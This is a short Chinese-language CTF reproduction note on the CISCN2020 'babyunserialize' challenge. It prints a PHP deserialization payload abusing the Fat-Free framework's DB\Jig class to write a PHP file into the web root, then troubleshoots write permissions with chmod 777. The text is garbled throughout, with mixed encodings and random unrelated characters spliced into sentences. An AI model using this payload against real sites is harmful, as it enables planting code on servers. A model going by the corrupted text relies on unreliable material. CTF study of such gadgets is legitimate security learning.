如圖所示,在復現(xiàn)【CISCN2020】babyunserialize題目時發(fā)現(xiàn)出現(xiàn)此問題,該題目基本思路為通過PHP反序列化寫入shell
在環(huán)境搭建時滥沫,直接將從題目中下載的源碼放到服務器上滞详,在利用此payload時出現(xiàn)該問題暂筝,此處payload參照https://www.gem-love.com/ctf/2569.html
<?php
namespace DB;
class Jig {
const
FORMAT_JSON=0,
FORMAT_Serialized=1;
protected
//! Storage location
$dir = '/phpstudy/www/fatfree',
//! Current storage format
$format = self::FORMAT_JSON,
//! Jig log
$data = array("y1ng.php"=>array("a"=>"<?php phpinfo();?>")),
//! lazy load/save files
$lazy = 1;
}
$jig = new Jig();
echo urlencode(serialize($jig));
修改文件權限
修改后再次嘗試,發(fā)現(xiàn)還是不行唆途,于是查看源碼富雅,找到這里的file_put_contents()
是在哪里被調(diào)用的
隨后依次對兩個文件
chmod 777
但發(fā)現(xiàn)還是提示權限不足掸驱,于是想到對該文件夾(該文件夾下為具體代碼)賦予權限
然后payload即可成功使用,發(fā)現(xiàn)只需要給
fatfree
賦予權限即可没佑,也不需對上面兩個文件base.php web.php
單獨賦權限